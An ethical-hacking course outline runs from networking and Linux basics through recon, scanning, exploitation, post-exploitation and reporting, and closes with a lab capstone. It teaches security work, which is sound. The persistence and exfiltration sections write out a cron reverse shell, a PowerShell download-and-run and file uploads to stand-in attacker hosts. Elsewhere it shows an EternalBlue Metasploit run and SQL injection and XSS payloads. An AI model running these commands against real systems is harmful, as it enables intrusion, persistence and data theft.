Network Basics for Ethical Hackers

Why Network Knowledge is Critical for Hacking

Almost every attack starts with understanding how networks communicate. As an ethical hacker, you must master networking concepts to identify vulnerabilities, map targets, and execute attacks safely.

1. OSI Model vs TCP/IP Model

2. IP Addressing

ip addr show          # Linux
ipconfig              # Windows

# Example IPv4: 192.168.1.105/24
# Example IPv6: 2001:db8::1/64

Public vs Private IPs

• Private: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
• Public: Routable on the internet

3. TCP vs UDP

4. Common Ports You Must Know

5. Essential Tools

• ifconfig / ip addr — View network interfaces
• ping — Test reachability
• traceroute / tracert — Path to destination
• nslookup / dig — DNS queries
• netstat / ss — Active connections
• wireshark — Packet capture & analysis

Linux & Command Line Mastery for Hackers

Why Linux is Essential for Ethical Hacking

Most servers, networking devices, and penetration testing tools run on Linux. Kali Linux is the de-facto standard distribution for ethical hackers.

1. Linux File System Hierarchy

• / — Root directory
• /home — User files
• /etc — Configuration files
• /var — Logs and variable data
• /tmp — Temporary files
• /bin & /usr/bin — Executable commands

2. Essential Commands Every Hacker Must Know

Navigation & File Management

pwd                    # Print Working Directory
ls -la                 # List files (detailed)
cd /etc                # Change directory
mkdir tools            # Create directory
touch test.txt         # Create empty file
cp file1 file2         # Copy
mv old new             # Move / Rename
rm -rf folder          # Remove (careful!)

System Information & Processes

uname -a               # System info
whoami                 # Current user
ps aux                 # Running processes
top                    # Live process monitor
kill PID               # Kill process
df -h                  # Disk usage

Networking Commands

ifconfig / ip addr     # Network interfaces
ping 8.8.8.8           # Test connectivity
netstat -tuln          # Listening ports
ss -tuln               # Modern alternative
traceroute google.com

3. Text Processing Tools (Hacker’s Best Friends)

• cat — View file content
• grep — Search text
• sed — Stream editor
• awk — Pattern scanning
• cut / sort / uniq — Data manipulation

cat /etc/passwd | grep bash
ps aux | grep apache
netstat -tuln | grep 80

4. Kali Linux Specific Tools

• nmap — Network scanner
• metasploit — Exploitation framework
• burpsuite — Web proxy
• wireshark — Packet analyzer
• john / hashcat — Password crackers

Reconnaissance & Footprinting

What is Reconnaissance?

Reconnaissance (Recon) is the first and most important phase of ethical hacking. It involves gathering as much information as possible about the target without being detected. Good recon can make or break an entire penetration test.

Types of Reconnaissance

1. Passive Reconnaissance Techniques

WHOIS Lookup

whois example.com
whois -h whois.iana.org example.com

Google Dorks (Advanced Search)

site:example.com filetype:pdf
inurl:admin site:example.com
intitle:"index of" "parent directory"

Shodan & Censys

Search engines for internet-connected devices.

2. Active Reconnaissance

Host Discovery

ping -c 4 target.com
nmap -sn 192.168.1.0/24          # Ping sweep

Port Scanning with Nmap

nmap -sV -O target.com                    # Service version + OS detection
nmap -sS -p- target.com                 # SYN scan all ports
nmap -sC -sV -A target.com              # Aggressive scan

3. DNS Reconnaissance

dig example.com ANY
dnsenum example.com
dnsrecon -d example.com -t std

4. OSINT Framework

• People search: Pipl, Spokeo, LinkedIn
• Company info: Hunter.io, theHarvester
• Email harvesting: theHarvester

Scanning & Enumeration

Introduction to Scanning

Scanning is the process of actively probing a target to discover live hosts, open ports, running services, and operating systems. It bridges reconnaissance and exploitation.

1. Host Discovery (Finding Live Targets)

nmap -sn 192.168.1.0/24              # Ping sweep
nmap -PE -PP -PM target.com         # ICMP echo/timestamp/mask
masscan -p80,443 192.168.1.0/24 --rate=1000

2. Port Scanning Techniques

3. Advanced Nmap Usage

nmap -sS -sV -O -T4 target.com          # Aggressive scan
nmap -A target.com                     # Full aggressive scan
nmap -sC --script vuln target.com      # Vulnerability scripts
nmap -iL targets.txt -oX output.xml    # Input list, XML output

4. Enumeration (Service & User Enumeration)

Common Enumeration Techniques

• SMB Enumeration: enum4linux, smbclient
• SNMP Enumeration: snmpwalk
• HTTP Enumeration: nikto, dirb, gobuster
• LDAP Enumeration: ldapsearch

gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
enum4linux -a target.com
nikto -h http://target.com

5. Best Practices & OPSEC

• Use slow timing (-T2 or -T3) on production systems
• Always stay within scope
• Document everything for the final report

Vulnerability Analysis

What is Vulnerability Analysis?

Vulnerability Analysis is the process of identifying, classifying, and prioritizing security weaknesses in systems, applications, and networks. It bridges scanning and exploitation phases.

Types of Vulnerabilities

1. Automated Vulnerability Scanners

• Nessus / OpenVAS — Full vulnerability assessment
• Nikto — Web server scanner
• SQLMap — Automated SQL Injection
• Metasploit — Exploitation framework with vulnerability checks

openvas-start
nikto -h http://target.com
sqlmap -u "http://target.com/login.php?id=1" --dbs
nmap --script vuln target.com

2. Manual Vulnerability Analysis

• Review scan results for false positives
• Check CVE databases (cve.mitre.org, nvd.nist.gov)
• Analyze service banners and version numbers
• Test for common misconfigurations

3. Vulnerability Scoring — CVSS

Common Vulnerability Scoring System rates severity from 0.0 to 10.0:

• Critical: 9.0–10.0
• High: 7.0–8.9
• Medium: 4.0–6.9
• Low: 0.1–3.9

4. Exploitation Preparation

After identifying vulnerabilities:

• Search for public exploits (Exploit-DB, GitHub)
• Use Metasploit modules
• Develop custom exploits when needed

Exploitation Techniques

What is Exploitation?

Exploitation is the phase where you take advantage of identified vulnerabilities to gain unauthorized access or execute malicious code on the target system. This is the most sensitive and legally restricted phase of ethical hacking.

Types of Exploits

1. Using Metasploit Framework

msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST your_ip
exploit

2. Common Exploitation Techniques

Buffer Overflow Exploitation

Overwriting memory to control program execution flow.

SQL Injection

' OR 1=1 --
1' UNION SELECT database(), user() --

Cross-Site Scripting (XSS)

<script>alert('XSS')</script>
<img src=x onerror=alert(1)>

3. Payload Types

• Reverse Shell — Target connects back to attacker
• Bind Shell — Listener on target
• Meterpreter — Advanced Metasploit payload
• stageless vs staged

4. Post-Exploitation

• Gather credentials (hashdump)
• Pivot to other systems
• Install persistence (backdoors)
• Clean logs

Web Application Security

Why Web Apps Are Prime Targets

Web applications are often the weakest link in an organization’s security. They are publicly accessible, handle sensitive data, and frequently contain logic flaws that automated scanners miss.

1. OWASP Top 10 (2021)

2. Common Web Vulnerabilities & Exploitation

SQL Injection

' OR '1'='1' --
1 UNION SELECT username,password FROM users --

Cross-Site Scripting (XSS)

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>

Command Injection

; ls -la
| whoami

3. Web Application Testing Tools

• Burp Suite — Proxy & scanning (gold standard)
• OWASP ZAP — Free automated scanner
• SQLMap — Automated SQL Injection
• Gobuster / FFUF — Directory brute-forcing
• Postman / Insomnia — API testing

4. Secure Development Practices

• Input validation & sanitization
• Prepared statements for SQL
• CSRF tokens
• Content Security Policy (CSP)
• Regular dependency updates

Wireless & Mobile Hacking

Wireless Networks: The Hidden Attack Surface

Wireless networks (Wi-Fi, Bluetooth, NFC) are often less secured than wired ones, making them prime targets for attackers. Ethical hackers must understand how to assess and secure them.

1. Wi-Fi Hacking Fundamentals

Wi-Fi Security Standards

Common Attacks

• WPS PIN Attack — Brute force WPS
• KRACK Attack — WPA2 handshake attack
• Evil Twin / Rogue AP — Fake access points
• Deauthentication Attack — Force reconnection

2. Tools for Wireless Attacks

airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a AP_MAC wlan0mon
reaver -i wlan0mon -b BSSID -vv
wifiphisher

3. Mobile Device Hacking

Android Attacks

• APK reverse engineering
• Malicious apps & sideloading
• ADB exploitation
• Frida & Objection for runtime manipulation

iOS Attacks

• Jailbreaking
• IPA analysis
• Checkra1n / unc0ver exploits

4. Bluetooth & NFC Attacks

• BlueBorne vulnerability
• Bluetooth pairing attacks
• NFC relay & cloning attacks

Post-Exploitation & Persistence

What is Post-Exploitation?

Post-Exploitation is the phase after gaining initial access. The goal is to maintain access, gather valuable information, move laterally, and achieve the objectives of the penetration test while remaining undetected.

1. Situational Awareness (What You Do First)

sysinfo
getuid
ifconfig / ip addr
whoami
ps
netstat -tuln

2. Privilege Escalation

• Kernel exploits (Dirty COW, CVE-2021-4034)
• Service misconfigurations
• Weak file permissions
• Password reuse / credential dumping

3. Persistence Techniques

Common Methods

# Linux
crontab -e
echo "*/5 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /etc/crontab

# Windows
schtasks /create /tn "Update" /tr "powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://attacker/payload.ps1'')'" /sc minute /mo 5
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\evil.exe"

Advanced Persistence

• SSH keys (authorized_keys)
• Web shells
• Registry Run keys (Windows)
• Kernel modules / rootkits

4. Lateral Movement

• Pass-the-Hash / Pass-the-Ticket
• Pivoting through compromised hosts
• RDP, WinRM, PsExec
• SSH tunneling

5. Data Exfiltration

scp sensitive.txt user@attacker_ip:/tmp/
curl -F "[email protected]" http://attacker/upload
powershell -c "Invoke-WebRequest -Uri http://attacker/exfil -Method POST -Body (Get-Content secret.txt)"

Reporting & Legal Aspects

Why Reporting is the Most Important Phase

The final deliverable of any ethical hacking engagement is a **professional report**. Even the best technical work is useless if it cannot be clearly communicated to stakeholders.

1. Types of Reports

• Executive Summary — For management (non-technical)
• Technical Report — Detailed findings for IT/security team
• Remediation Roadmap — Prioritized action plan

2. Structure of a Professional Pentest Report

3. Legal & Ethical Considerations

• Rules of Engagement (RoE) — Must be signed before testing
• Get Out of Jail Free (GOJFF) Letter — Written authorization
• Non-Disclosure Agreement (NDA)
• Scope Creep — Never test beyond agreed scope
• Data Handling — Proper destruction of sensitive data after engagement

4. Risk Rating Methodology

Use CVSS v3.1 scoring + business impact to assign severity.

Capstone Project: Full Penetration Test

Project Overview

Congratulations! You have reached the final lecture. Now you will perform a **complete, realistic penetration test** on a vulnerable target, following professional methodology.

Target Environment

Use one of these legal lab environments:

• Metasploitable 2 / 3
• TryHackMe / HackTheBox machines (recommended)
• DVWA + VulnHub VMs
• Your own isolated virtual lab

Capstone Requirements

Phase 1: Reconnaissance & Footprinting

• Passive information gathering (WHOIS, Google Dorks, Shodan)
• Active host & service discovery

Phase 2: Scanning & Enumeration

• Full port scanning with Nmap
• Service version detection
• Web directory brute-forcing
• SMB / SNMP enumeration (if applicable)

Phase 3: Vulnerability Analysis & Exploitation

• Identify at least 3 exploitable vulnerabilities
• Gain initial shell access (Meterpreter or reverse shell)
• Perform privilege escalation

Phase 4: Post-Exploitation & Persistence

• Establish persistence
• Extract sensitive data / credentials
• Demonstrate lateral movement (if multiple machines)

Phase 5: Reporting

• Write a full professional penetration testing report
• Include Executive Summary, Methodology, Findings with PoC, Risk Ratings, and Remediation Recommendations

Bonus Challenges (Optional)

• Crack captured password hashes
• Perform a client-side attack (phishing simulation)
• Exploit a web application vulnerability manually
• Create a custom payload / bypass antivirus